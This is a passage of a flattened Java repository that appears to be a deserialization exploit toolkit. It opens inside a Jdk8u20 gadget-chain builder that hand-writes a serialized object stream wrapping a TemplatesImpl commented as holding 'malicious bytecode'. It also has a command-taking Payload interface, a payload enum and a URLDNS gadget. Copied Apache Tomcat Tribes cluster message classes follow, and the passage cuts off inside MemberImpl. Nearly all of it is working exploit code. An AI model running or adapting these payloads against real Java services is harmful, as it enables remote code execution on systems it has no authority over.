map = new HashMap();
71 | // We need map.put("f5a5a608", templates) but ObjectOutputStream does not create a
72 | // reference for templates so that its exactly the same instance as the one added
73 | // directly to the LinkedHashSet. So instead, we can add a string since OOS
74 | // will create a reference to the existing string, and then I can manually
75 | // replace the reference with one pointing to the templates instance in the LinkedHashSet
76 | map.put("f5a5a608", "f5a5a608");
77 |
78 | int offset = 0;
79 | return new Object[]{
80 | STREAM_MAGIC, STREAM_VERSION, // stream headers
81 |
82 | // (1) LinkedHashSet
83 | TC_OBJECT,
84 | TC_CLASSDESC,
85 | LinkedHashSet.class.getName(),
86 | -2851667679971038690L,
87 | (byte) 2, // flags
88 | (short) 0, // field count
89 | TC_ENDBLOCKDATA,
90 | TC_CLASSDESC, // super class
91 | HashSet.class.getName(),
92 | -5024744406713321676L,
93 | (byte) 3, // flags
94 | (short) 0, // field count
95 | TC_ENDBLOCKDATA,
96 | TC_NULL, // no superclass
97 |
98 | // Block data that will be read by HashSet.readObject()
99 | // Used to configure the HashSet (capacity, loadFactor, size and items)
100 | TC_BLOCKDATA,
101 | (byte) 12,
102 | (short) 0,
103 | (short) 16, // capacity
104 | (short) 16192, (short) 0, (short) 0, // loadFactor
105 | (short) 2, // size
106 |
107 | // (2) First item in LinkedHashSet
108 | templates, // TemplatesImpl instance with malicious bytecode
109 |
110 | // (3) Second item in LinkedHashSet
111 | // Templates Proxy with AIH handler
112 | TC_OBJECT,
113 | TC_PROXYCLASSDESC, // proxy declaration
114 | 1, // one interface
115 | Templates.class.getName(), // the interface implemented by the proxy
116 | TC_ENDBLOCKDATA,
117 | TC_CLASSDESC,
118 | Proxy.class.getName(), // java.lang.Proxy class desc
119 | -2222568056686623797L, // serialVersionUID
120 | SC_SERIALIZABLE, // flags
121 | (short) 2, // field count
122 | (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field
123 | (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field
124 | TC_ENDBLOCKDATA,
125 | TC_NULL, // no superclass
126 |
127 | // (3) Field values
128 | // value for the dummy field <--- BeanContextSupport.
129 | // this field does not actually exist in the Proxy class, so after deserialization this object is ignored.
130 | // (4) BeanContextSupport
131 | TC_OBJECT,
132 | TC_CLASSDESC,
133 | BeanContextSupport.class.getName(),
134 | -4879613978649577204L, // serialVersionUID
135 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
136 | (short) 1, // field count
137 | (byte) 'I', "serializable", // serializable field, number of serializable children
138 | TC_ENDBLOCKDATA,
139 | TC_CLASSDESC, // super class
140 | BeanContextChildSupport.class.getName(),
141 | 6328947014421475877L,
142 | SC_SERIALIZABLE,
143 | (short) 1, // field count
144 | (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
145 | TC_ENDBLOCKDATA,
146 | TC_NULL, // no superclass
147 |
148 | // (4) Field values
149 | // beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren()
150 | TC_REFERENCE, baseWireHandle + 12,
151 | // serializable: one serializable child
152 | 1,
153 |
154 | // now we add an extra object that is not declared, but that will be read/consumed by readObject
155 | // BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array
156 | // so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler
157 | // At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects
158 |
159 | // (5) AIH that will be deserialized as part of the BeanContextSupport
160 | TC_OBJECT,
161 | TC_CLASSDESC,
162 | "sun.reflect.annotation.AnnotationInvocationHandler",
163 | 6182022883658399397L, // serialVersionUID
164 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
165 | (short) 2, // field count
166 | (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field
167 | (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field
168 | TC_ENDBLOCKDATA,
169 | TC_NULL, // no superclass
170 |
171 | // (5) Field Values
172 | Templates.class, // type field value
173 | map, // memberValues field value
174 |
175 | // note: at this point normally the BeanContextSupport.readChildren would try to read the
176 | // BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws,
177 | // we skip past that one into the catch block, and continue out of readChildren
178 |
179 | // the exception takes us out of readChildren and into BeanContextSupport.readObject
180 | // where there is a call to deserialize(ois, bcmListeners = new ArrayList(1));
181 | // Within deserialize() there is an int read (0) and then it will read as many obejcts (0)
182 |
183 | TC_BLOCKDATA,
184 | (byte) 4, // block length
185 | 0, // no BeanContextSupport.bcmListenes
186 | TC_ENDBLOCKDATA,
187 |
188 | // (6) value for the Proxy.h field
189 | TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler
190 |
191 | TC_ENDBLOCKDATA,
192 | };
193 | }
194 |
195 | }
196 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/payload/Payload.java:
--------------------------------------------------------------------------------
1 | package me.threedr3am.exp.payload;
2 |
3 | /**
4 | * @author threedr3am
5 | */
6 | public interface Payload {
7 | Object getObject(String... command) throws Exception;
8 | }
9 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/payload/Payloads.java:
--------------------------------------------------------------------------------
1 | package me.threedr3am.exp.payload;
2 |
3 | /**
4 | * @author threedr3am
5 | */
6 | public enum Payloads {
7 | URLDNS(URLDNS.class),
8 | Jdk7u21(Jdk7u21.class),
9 | Jdk8u20(Jdk8u20.class),
10 | ;
11 |
12 | private Class extends Payload> clazz;
13 |
14 | Payloads(
15 | Class extends Payload> clazz) {
16 | this.clazz = clazz;
17 | }
18 |
19 | public Class extends Payload> getClazz() {
20 | return clazz;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/payload/URLDNS.java:
--------------------------------------------------------------------------------
1 | package me.threedr3am.exp.payload;
2 |
3 | import java.io.IOException;
4 | import java.net.InetAddress;
5 | import java.net.URL;
6 | import java.net.URLConnection;
7 | import java.net.URLStreamHandler;
8 | import java.util.HashMap;
9 | import me.threedr3am.exp.utils.Reflections;
10 |
11 | /**
12 | * A blog post with more details about this gadget chain is at the url below:
13 | * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
14 | *
15 | * This was inspired by Philippe Arteau @h3xstream, who wrote a blog
16 | * posting describing how he modified the Java Commons Collections gadget
17 | * in ysoserial to open a URL. This takes the same idea, but eliminates
18 | * the dependency on Commons Collections and does a DNS lookup with just
19 | * standard JDK classes.
20 | *
21 | * The Java URL class has an interesting property on its equals and
22 | * hashCode methods. The URL class will, as a side effect, do a DNS lookup
23 | * during a comparison (either equals or hashCode).
24 | *
25 | * As part of deserialization, HashMap calls hashCode on each key that it
26 | * deserializes, so using a Java URL object as a serialized key allows
27 | * it to trigger a DNS lookup.
28 | *
29 | * Gadget Chain:
30 | * HashMap.readObject()
31 | * HashMap.putVal()
32 | * HashMap.hash()
33 | * URL.hashCode()
34 | *
35 | *
36 | */
37 | @SuppressWarnings({ "rawtypes", "unchecked" })
38 | /**
39 | * code from pwntester
40 | */
41 | public class URLDNS implements Payload {
42 |
43 | public Object getObject(final String... url) throws Exception {
44 |
45 | //Avoid DNS resolution during payload creation
46 | //Since the field java.net.URL.handler
is transient, it will not be part of the serialized payload.
47 | URLStreamHandler handler = new SilentURLStreamHandler();
48 |
49 | HashMap ht = new HashMap(); // HashMap that will contain the URL
50 | URL u = new URL(null, url[0], handler); // URL to use as the Key
51 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
52 |
53 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
54 |
55 | return ht;
56 | }
57 |
58 |
59 | /**
60 | * This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
61 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
62 | * using the serialized object.
63 | *
64 | * Potential false negative:
65 | * If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
66 | * second resolution.
67 | */
68 | static class SilentURLStreamHandler extends URLStreamHandler {
69 |
70 | protected URLConnection openConnection(URL u) throws IOException {
71 | return null;
72 | }
73 |
74 | protected synchronized InetAddress getHostAddress(URL u) {
75 | return null;
76 | }
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/ChannelData.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package me.threedr3am.exp.support;
18 |
19 | import java.sql.Timestamp;
20 | import java.util.Arrays;
21 |
22 | /**
23 | * The ChannelData
object is used to transfer a message through the
24 | * channel interceptor stack and eventually out on a transport to be sent
25 | * to another node. While the message is being processed by the different
26 | * interceptors, the message data can be manipulated as each interceptor seems appropriate.
27 | * @author Peter Rossbach
28 | */
29 | public class ChannelData implements ChannelMessage {
30 | private static final long serialVersionUID = 1L;
31 |
32 | public static final ChannelData[] EMPTY_DATA_ARRAY = new ChannelData[0];
33 |
34 | public static volatile boolean USE_SECURE_RANDOM_FOR_UUID = false;
35 |
36 | /**
37 | * The options this message was sent with
38 | */
39 | private int options = 0 ;
40 | /**
41 | * The message data, stored in a dynamic buffer
42 | */
43 | private XByteBuffer message ;
44 | /**
45 | * The timestamp that goes with this message
46 | */
47 | private long timestamp ;
48 | /**
49 | * A unique message id
50 | */
51 | private byte[] uniqueId ;
52 | /**
53 | * The source or reply-to address for this message
54 | */
55 | private Member address;
56 |
57 | /**
58 | * Creates an empty channel data with a new unique Id
59 | * @see #ChannelData(boolean)
60 | */
61 | public ChannelData() {
62 | this(true);
63 | }
64 |
65 | /**
66 | * Create an empty channel data object
67 | * @param generateUUID boolean - if true, a unique Id will be generated
68 | */
69 | public ChannelData(boolean generateUUID) {
70 | if ( generateUUID ) generateUUID();
71 | }
72 |
73 |
74 | /**
75 | * Creates a new channel data object with data
76 | * @param uniqueId - unique message id
77 | * @param message - message data
78 | * @param timestamp - message timestamp
79 | */
80 | public ChannelData(byte[] uniqueId, XByteBuffer message, long timestamp) {
81 | this.uniqueId = uniqueId;
82 | this.message = message;
83 | this.timestamp = timestamp;
84 | }
85 |
86 | /**
87 | * @return Returns the message byte buffer
88 | */
89 | @Override
90 | public XByteBuffer getMessage() {
91 | return message;
92 | }
93 | /**
94 | * @param message The message to send.
95 | */
96 | @Override
97 | public void setMessage(XByteBuffer message) {
98 | this.message = message;
99 | }
100 | /**
101 | * @return Returns the timestamp.
102 | */
103 | @Override
104 | public long getTimestamp() {
105 | return timestamp;
106 | }
107 | /**
108 | * @param timestamp The timestamp to send
109 | */
110 | @Override
111 | public void setTimestamp(long timestamp) {
112 | this.timestamp = timestamp;
113 | }
114 | /**
115 | * @return Returns the uniqueId.
116 | */
117 | @Override
118 | public byte[] getUniqueId() {
119 | return uniqueId;
120 | }
121 | /**
122 | * @param uniqueId The uniqueId to send.
123 | */
124 | public void setUniqueId(byte[] uniqueId) {
125 | this.uniqueId = uniqueId;
126 | }
127 | /**
128 | * @return returns the message options
129 | * see org.apache.catalina.tribes.Channel#sendMessage(org.apache.catalina.tribes.Member[], java.io.Serializable, int)
130 | *
131 | */
132 | @Override
133 | public int getOptions() {
134 | return options;
135 | }
136 | /**
137 | * Sets the message options.
138 | *
139 | * @param options the message options
140 | */
141 | @Override
142 | public void setOptions(int options) {
143 | this.options = options;
144 | }
145 |
146 | /**
147 | * Returns the source or reply-to address
148 | * @return Member
149 | */
150 | @Override
151 | public Member getAddress() {
152 | return address;
153 | }
154 |
155 | /**
156 | * Sets the source or reply-to address
157 | * @param address Member
158 | */
159 | @Override
160 | public void setAddress(Member address) {
161 | this.address = address;
162 | }
163 |
164 | /**
165 | * Generates a UUID and invokes setUniqueId
166 | */
167 | public void generateUUID() {
168 | byte[] data = new byte[16];
169 | UUIDGenerator.randomUUID(USE_SECURE_RANDOM_FOR_UUID,data,0);
170 | setUniqueId(data);
171 | }
172 |
173 | public int getDataPackageLength() {
174 | int length =
175 | 4 + //options
176 | 8 + //timestamp off=4
177 | 4 + //unique id length off=12
178 | uniqueId.length+ //id data off=12+uniqueId.length
179 | 4 + //addr length off=12+uniqueId.length+4
180 | address.getDataLength()+ //member data off=12+uniqueId.length+4+add.length
181 | 4 + //message length off=12+uniqueId.length+4+add.length+4
182 | message.getLength();
183 | return length;
184 |
185 | }
186 |
187 | /**
188 | * Serializes the ChannelData object into a byte[] array
189 | * @return byte[]
190 | */
191 | public byte[] getDataPackage() {
192 | int length = getDataPackageLength();
193 | byte[] data = new byte[length];
194 | int offset = 0;
195 | return getDataPackage(data,offset);
196 | }
197 |
198 | public byte[] getDataPackage(byte[] data, int offset) {
199 | byte[] addr = address.getData(false);
200 | XByteBuffer.toBytes(options,data,offset);
201 | offset += 4; //options
202 | XByteBuffer.toBytes(timestamp,data,offset);
203 | offset += 8; //timestamp
204 | XByteBuffer.toBytes(uniqueId.length,data,offset);
205 | offset += 4; //uniqueId.length
206 | System.arraycopy(uniqueId,0,data,offset,uniqueId.length);
207 | offset += uniqueId.length; //uniqueId data
208 | XByteBuffer.toBytes(addr.length,data,offset);
209 | offset += 4; //addr.length
210 | System.arraycopy(addr,0,data,offset,addr.length);
211 | offset += addr.length; //addr data
212 | XByteBuffer.toBytes(message.getLength(),data,offset);
213 | offset += 4; //message.length
214 | System.arraycopy(message.getBytesDirect(),0,data,offset,message.getLength());
215 | return data;
216 | }
217 |
218 |
219 | @Override
220 | public int hashCode() {
221 | return XByteBuffer.toInt(getUniqueId(),0);
222 | }
223 |
224 | /**
225 | * Compares to ChannelData objects, only compares on getUniqueId().equals(o.getUniqueId())
226 | * @param o Object
227 | * @return boolean
228 | */
229 | @Override
230 | public boolean equals(Object o) {
231 | if ( o instanceof ChannelData) {
232 | return Arrays.equals(getUniqueId(),((ChannelData)o).getUniqueId());
233 | } else return false;
234 | }
235 |
236 | /**
237 | * Create a shallow clone, only the data gets recreated
238 | * @return ClusterData
239 | */
240 | @Override
241 | public ChannelData clone() {
242 | ChannelData clone;
243 | try {
244 | clone = (ChannelData) super.clone();
245 | } catch (CloneNotSupportedException e) {
246 | // Cannot happen
247 | throw new AssertionError();
248 | }
249 | if (this.message != null) {
250 | clone.message = new XByteBuffer(this.message.getBytesDirect(),false);
251 | }
252 | return clone;
253 | }
254 |
255 | /**
256 | * Complete clone
257 | * @return ClusterData
258 | */
259 | @Override
260 | public Object deepclone() {
261 | byte[] d = this.getDataPackage();
262 | return null;
263 | }
264 |
265 | @Override
266 | public String toString() {
267 | StringBuilder buf = new StringBuilder();
268 | buf.append("ClusterData[src=");
269 | buf.append(getAddress()).append("; id=");
270 | buf.append(bToS(getUniqueId())).append("; sent=");
271 | buf.append(new Timestamp(this.getTimestamp()).toString()).append("]");
272 | return buf.toString();
273 | }
274 |
275 | public static String bToS(byte[] data) {
276 | StringBuilder buf = new StringBuilder(4*16);
277 | buf.append("{");
278 | for (int i=0; data!=null && iChannel.getLocalMember(boolean)
33 | * This would be set to a different address
34 | * if the message was being relayed from a host other than the one
35 | * that originally sent it.
36 | * @return the source or reply-to address of this message
37 | */
38 | public Member getAddress();
39 |
40 | /**
41 | * Sets the source or reply-to address of this message
42 | * @param member Member
43 | */
44 | public void setAddress(Member member);
45 |
46 | /**
47 | * Timestamp of when the message was created.
48 | * @return long timestamp in milliseconds
49 | */
50 | public long getTimestamp();
51 |
52 | /**
53 | *
54 | * Sets the timestamp of this message
55 | * @param timestamp The timestamp
56 | */
57 | public void setTimestamp(long timestamp);
58 |
59 | /**
60 | * Each message must have a globally unique Id.
61 | * interceptors heavily depend on this id for message processing
62 | * @return byte
63 | */
64 | public byte[] getUniqueId();
65 |
66 | /**
67 | * The byte buffer that contains the actual message payload
68 | * @param buf XByteBuffer
69 | */
70 | public void setMessage(XByteBuffer buf);
71 |
72 | /**
73 | * returns the byte buffer that contains the actual message payload
74 | * @return XByteBuffer
75 | */
76 | public XByteBuffer getMessage();
77 |
78 | /**
79 | * The message options is a 32 bit flag set
80 | * that triggers interceptors and message behavior.
81 | * @see Channel#send(Member[], Serializable, int)
82 | * @see ChannelInterceptor#getOptionFlag
83 | * @return int - the option bits set for this message
84 | */
85 | public int getOptions();
86 |
87 | /**
88 | * sets the option bits for this message
89 | * @param options int
90 | * @see #getOptions()
91 | */
92 | public void setOptions(int options);
93 |
94 | /**
95 | * Shallow clone, what gets cloned depends on the implementation
96 | * @return ChannelMessage
97 | */
98 | public Object clone();
99 |
100 | /**
101 | * Deep clone, all fields MUST get cloned
102 | * @return ChannelMessage
103 | */
104 | public Object deepclone();
105 | }
106 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/ClusterMessage.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package me.threedr3am.exp.support;
18 |
19 | import java.io.Serializable;
20 |
21 | public interface ClusterMessage extends Serializable {
22 | public Member getAddress();
23 | public void setAddress(Member member);
24 | public String getUniqueId();
25 | public long getTimestamp();
26 | public void setTimestamp(long timestamp);
27 | }
28 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/ClusterMessageBase.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package me.threedr3am.exp.support;
18 |
19 | public abstract class ClusterMessageBase implements ClusterMessage {
20 |
21 | private static final long serialVersionUID = 1L;
22 |
23 | private long timestamp;
24 | protected transient Member address;
25 |
26 | public ClusterMessageBase() {
27 | // NO-OP
28 | }
29 |
30 | @Override
31 | public Member getAddress() {
32 | return address;
33 | }
34 |
35 | @Override
36 | public long getTimestamp() {
37 | return timestamp;
38 | }
39 |
40 | @Override
41 | public void setAddress(Member member) {
42 | this.address = member;
43 | }
44 |
45 | @Override
46 | public void setTimestamp(long timestamp) {
47 | this.timestamp = timestamp;
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/Member.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 |
18 | package me.threedr3am.exp.support;
19 |
20 | import java.io.Serializable;
21 |
22 | /**
23 | * The Member interface, defines a member in the group.
24 | * Each member can carry a set of properties, defined by the actual implementation.
25 | * A member is identified by the host/ip/uniqueId
26 | * The host is what interface the member is listening to, to receive data
27 | * The port is what port the member is listening to, to receive data
28 | * The uniqueId defines the session id for the member. This is an important feature
29 | * since a member that has crashed and the starts up again on the same port/host is
30 | * not guaranteed to be the same member, so no state transfers will ever be confused
31 | */
32 | public interface Member extends Serializable {
33 |
34 | /**
35 | * When a member leaves the cluster, the payload of the memberDisappeared member
36 | * will be the following bytes. This indicates a soft shutdown, and not a crash
37 | */
38 | public static final byte[] SHUTDOWN_PAYLOAD = new byte[] {66, 65, 66, 89, 45, 65, 76, 69, 88};
39 |
40 | /**
41 | * @return the name of this node, should be unique within the group.
42 | */
43 | public String getName();
44 |
45 | /**
46 | * Returns the listen host for the ChannelReceiver implementation
47 | * @return IPv4 or IPv6 representation of the host address this member listens to incoming data
48 | * @see ChannelReceiver
49 | */
50 | public byte[] getHost();
51 |
52 | /**
53 | * Returns the listen port for the ChannelReceiver implementation
54 | * @return the listen port for this member, -1 if its not listening on an insecure port
55 | * @see ChannelReceiver
56 | */
57 | public int getPort();
58 |
59 | /**
60 | * Returns the secure listen port for the ChannelReceiver implementation.
61 | * Returns -1 if its not listening to a secure port.
62 | * @return the listen port for this member, -1 if its not listening on a secure port
63 | * @see ChannelReceiver
64 | */
65 | public int getSecurePort();
66 |
67 | /**
68 | * Returns the UDP port that this member is listening to for UDP messages.
69 | * @return the listen UDP port for this member, -1 if its not listening on a UDP port
70 | */
71 | public int getUdpPort();
72 |
73 |
74 | /**
75 | * Contains information on how long this member has been online.
76 | * The result is the number of milli seconds this member has been
77 | * broadcasting its membership to the group.
78 | * @return nr of milliseconds since this member started.
79 | */
80 | public long getMemberAliveTime();
81 |
82 | public void setMemberAliveTime(long memberAliveTime);
83 |
84 | /**
85 | * The current state of the member
86 | * @return boolean - true if the member is functioning correctly
87 | */
88 | public boolean isReady();
89 | /**
90 | * The current state of the member
91 | * @return boolean - true if the member is suspect, but the crash has not been confirmed
92 | */
93 | public boolean isSuspect();
94 |
95 | /**
96 | *
97 | * @return boolean - true if the member has been confirmed to malfunction
98 | */
99 | public boolean isFailing();
100 |
101 | /**
102 | * returns a UUID unique for this member over all sessions.
103 | * If the member crashes and restarts, the uniqueId will be different.
104 | * @return byte[]
105 | */
106 | public byte[] getUniqueId();
107 |
108 | /**
109 | * returns the payload associated with this member
110 | * @return byte[]
111 | */
112 | public byte[] getPayload();
113 |
114 | public void setPayload(byte[] payload);
115 |
116 | /**
117 | * returns the command associated with this member
118 | * @return byte[]
119 | */
120 | public byte[] getCommand();
121 |
122 | public void setCommand(byte[] command);
123 |
124 | /**
125 | * Domain for this cluster
126 | * @return byte[]
127 | */
128 | public byte[] getDomain();
129 |
130 | /**
131 | * Highly optimized version of serializing a member into a byte array
132 | * Returns a cached byte[] reference, do not modify this data
133 | * @param getalive calculate memberAlive time
134 | * @return the data as a byte array
135 | */
136 | public byte[] getData(boolean getalive);
137 |
138 | /**
139 | * Highly optimized version of serializing a member into a byte array
140 | * Returns a cached byte[] reference, do not modify this data
141 | * @param getalive calculate memberAlive time
142 | * @param reset reset the cached data package, and create a new one
143 | * @return the data as a byte array
144 | */
145 | public byte[] getData(boolean getalive, boolean reset);
146 |
147 | /**
148 | * Length of a message obtained by {@link #getData(boolean)} or
149 | * {@link #getData(boolean, boolean)}.
150 | * @return the data length
151 | */
152 | public int getDataLength();
153 |
154 | /**
155 | * @return boolean - true if the member is local member
156 | */
157 | public boolean isLocal();
158 |
159 | public void setLocal(boolean local);
160 | }
161 |
--------------------------------------------------------------------------------
/src/main/java/me/threedr3am/exp/support/MemberImpl.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 |
18 | package me.threedr3am.exp.support;
19 |
20 | import java.io.IOException;
21 | import java.io.ObjectInput;
22 | import java.io.ObjectOutput;
23 | import java.util.Arrays;
24 | import java.util.concurrent.atomic.AtomicInteger;
25 |
26 | /**
27 | * A membership implementation using simple multicast.
28 | * This is the representation of a multicast member.
29 | * Carries the host, and port of the this or other cluster nodes.
30 | */
31 | public class MemberImpl implements Member, java.io.Externalizable {
32 |
33 | /**
34 | * Should a call to getName or getHostName try to do a DNS lookup?
35 | * default is false
36 | */
37 | public static final boolean DO_DNS_LOOKUPS = Boolean
38 | .parseBoolean(System.getProperty("org.apache.catalina.tribes.dns_lookups","false"));
39 |
40 | public static final transient byte[] TRIBES_MBR_BEGIN = new byte[] {84, 82, 73, 66, 69, 83, 45, 66, 1, 0};
41 | public static final transient byte[] TRIBES_MBR_END = new byte[] {84, 82, 73, 66, 69, 83, 45, 69, 1, 0};
42 |
43 | /**
44 | * The listen host for this member
45 | */
46 | protected volatile byte[] host = new byte[0];
47 | protected transient volatile String hostname;
48 | /**
49 | * The tcp listen port for this member
50 | */
51 | protected volatile int port;
52 | /**
53 | * The udp listen port for this member
54 | */
55 | protected volatile int udpPort = -1;
56 |
57 | /**
58 | * The tcp/SSL listen port for this member
59 | */
60 | protected volatile int securePort = -1;
61 |
62 | /**
63 | * Counter for how many broadcast messages have been sent from this member
64 | */
65 | protected AtomicInteger msgCount = new AtomicInteger(0);
66 |
67 | /**
68 | * The number of milliseconds since this member was
69 | * created, is kept track of using the start time
70 | */
71 | protected volatile long memberAliveTime = 0;
72 |
73 | /**
74 | * For the local member only
75 | */
76 | protected transient long serviceStartTime;
77 |
78 | /**
79 | * To avoid serialization over and over again, once the local dataPkg
80 | * has been set, we use that to transmit data
81 | */
82 | protected transient byte[] dataPkg = null;
83 |
84 | /**
85 | * Unique session Id for this member
86 | */
87 | protected volatile byte[] uniqueId = new byte[16];
88 |
89 | /**
90 | * Custom payload that an app framework can broadcast
91 | * Also used to transport stop command.
92 | */
93 | protected volatile byte[] payload = new byte[0];
94 |
95 | /**
96 | * Command, so that the custom payload doesn't have to be used
97 | * This is for internal tribes use, such as SHUTDOWN_COMMAND
98 | */
99 | protected volatile byte[] command = new byte[0];
100 |
101 | /**
102 | * Domain if we want to filter based on domain.
103 | */
104 | protected volatile byte[] domain = new byte[0];
105 |
106 | /**
107 | * The flag indicating that this member is a local member.
108 | */
109 | protected volatile boolean local = false;
110 |
111 | /**
112 | * Empty constructor for serialization
113 | */
114 | public MemberImpl() {
115 |
116 | }
117 |
118 | /**
119 | * Construct a new member object.
120 | *
121 | * @param host - the tcp listen host
122 | * @param port - the tcp listen port
123 | * @param aliveTime - the number of milliseconds since this member was created
124 | *
125 | * @throws IOException If there is an error converting the host name to an
126 | * IP address
127 | */
128 | public MemberImpl(String host,
129 | int port,
130 | long aliveTime) throws IOException {
131 | setHostname(host);
132 | this.port = port;
133 | this.memberAliveTime=aliveTime;
134 | }
135 |
136 | public MemberImpl(String host,
137 | int port,
138 | long aliveTime,
139 | byte[] payload) throws IOException {
140 | this(host,port,aliveTime);
141 | setPayload(payload);
142 | }
143 |
144 | @Override
145 | public boolean isReady() {
146 | return true;
147 | }
148 | @Override
149 | public boolean isSuspect() {
150 | return true;
151 | }
152 | @Override
153 | public boolean isFailing() {
154 | return true;
155 | }
156 |
157 | /**
158 | * Increment the message count.
159 | */
160 | protected void inc() {
161 | msgCount.incrementAndGet();
162 | }
163 |
164 | /**
165 | * Create a data package to send over the wire representing this member.
166 | * This is faster than serialization.
167 | * @return - the bytes for this member deserialized
168 | */
169 | public byte[] getData() {
170 | return getData(true);
171 | }
172 |
173 |
174 | @Override
175 | public byte[] getData(boolean getalive) {
176 | return getData(getalive,false);
177 | }
178 |
179 |
180 | @Override
181 | public synchronized int getDataLength() {
182 | return TRIBES_MBR_BEGIN.length+ //start pkg
183 | 4+ //data length
184 | 8+ //alive time
185 | 4+ //port
186 | 4+ //secure port
187 | 4+ //udp port
188 | 1+ //host length
189 | host.length+ //host
190 | 4+ //command length
191 | command.length+ //command
192 | 4+ //domain length
193 | domain.length+ //domain
194 | 16+ //unique id
195 | 4+ //payload length
196 | payload.length+ //payload
197 | TRIBES_MBR_END.length; //end pkg
198 | }
199 |
200 |
201 | @Override
202 | public synchronized byte[] getData(boolean getalive, boolean reset) {
203 | if (reset) {
204 | dataPkg = null;
205 | }
206 | // Look in cache first
207 | if (dataPkg != null) {
208 | if (getalive) {
209 | // You'd be surprised, but System.currentTimeMillis
210 | // shows up on the profiler
211 | long alive = System.currentTimeMillis() - getServiceStartTime();
212 | byte[] result = dataPkg.clone();
213 | XByteBuffer
214 | .toBytes(alive, result, TRIBES_MBR_BEGIN.length + 4);
215 | dataPkg = result;
216 | }
217 | return dataPkg;
218 | }
219 |
220 | //package looks like
